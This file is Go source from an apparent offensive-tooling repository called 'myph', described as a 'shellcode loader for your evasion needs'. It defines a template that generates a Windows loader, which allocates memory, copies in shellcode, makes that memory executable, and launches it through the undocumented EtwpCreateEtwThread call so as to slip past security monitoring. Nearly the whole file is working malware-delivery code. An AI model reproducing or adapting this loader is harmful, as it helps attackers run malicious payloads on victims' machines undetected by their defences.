myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
etwpCreateEtwThread.go (2512B)
      1 package loaders
      2 
      3 import (
      4 	"fmt"
      5 	"strings"
      6 )
      7 
      8 type ETWPTemplate struct{}
      9 
     10 func (t ETWPTemplate) Import() string {
     11 	return fmt.Sprintf(`
     12 import (
     13     "syscall"
     14     "unsafe"
     15 )
     16 `)
     17 }
     18 
     19 func (t ETWPTemplate) Const() string {
     20 	return fmt.Sprintf(`
     21 const (
     22     MEM_COMMIT                = 0x1000
     23     MEM_RESERVE               = 0x2000
     24     PAGE_READWRITE            = 0x4
     25     PAGE_EXECUTE_READ         = 0x20
     26     PAGE_EXECUTE_READWRITE    = 0x40
     27     CREATE_SUSPENDED          = 0x4
     28     CREATE_NO_WINDOW          = 0x8000000
     29 )
     30 
     31 var (
     32     kernel32            = syscall.MustLoadDLL("kernel32.dll")
     33     ntdll               = syscall.MustLoadDLL("ntdll.dll")
     34 
     35     RtlCopyMemory           = ntdll.MustFindProc("RtlCopyMemory")
     36     EtwpCreateEtwThread     = ntdll.MustFindProc("EtwpCreateEtwThread")
     37 
     38 	VirtualAlloc            = kernel32.MustFindProc("VirtualAlloc")
     39 	VirtualProtect          = kernel32.MustFindProc("VirtualProtect")
     40     WaitForSingleObject     = kernel32.MustFindProc("WaitForSingleObject")
     41 )
     42 `)
     43 }
     44 
     45 func (t ETWPTemplate) Init() string {
     46 	return ""
     47 }
     48 
     49 func (t ETWPTemplate) Process() string {
     50 	return fmt.Sprintf(`
     51 /* allocating the appropriate amount of memory */
     52     baseAddr, _, err := VirtualAlloc.Call(
     53         0,
     54         uintptr(len(shellcode)),
     55         MEM_COMMIT | MEM_RESERVE,
     56         PAGE_READWRITE,
     57     ); if baseAddr == 0 {
     58         panic(err)
     59     }
     60 
     61     /* copying the shellcode to memory */
     62     _, _, _ = RtlCopyMemory.Call(
     63         baseAddr,
     64         (uintptr)(unsafe.Pointer(&shellcode[0])),
     65         uintptr(len(shellcode)),
     66     )
     67 
     68     /* changing permissions for our memory segment */
     69     oldProtectCfg := PAGE_READWRITE
     70     _, _, _ = VirtualProtect.Call(
     71         baseAddr,
     72         uintptr(len(shellcode)),
     73         PAGE_EXECUTE_READ,
     74         uintptr(unsafe.Pointer(&oldProtectCfg)),
     75     )
     76 
     77     threadId, _, err := EtwpCreateEtwThread.Call(baseAddr, uintptr(0))
     78     WaitForSingleObject.Call(threadId, 0xFFFFFFFF)
     79 `)
     80 }
     81 
     82 func (t ETWPTemplate) GetTemplate(targetProcess string) string {
     83 	InformProcessUnused(targetProcess)
     84 
     85 	var template = `
     86 package main
     87 
     88 __IMPORT__STATEMENT__
     89 
     90 __CONST__STATEMENT__
     91 
     92 func ExecuteOrderSixtySix(shellcode []byte) {
     93 
     94 __IMPORT__PROCESS__
     95 
     96 }
     97 `
     98 	template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
     99 	template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
    100 	template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
    101 	template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
    102 
    103 	return template
    104 
    105 }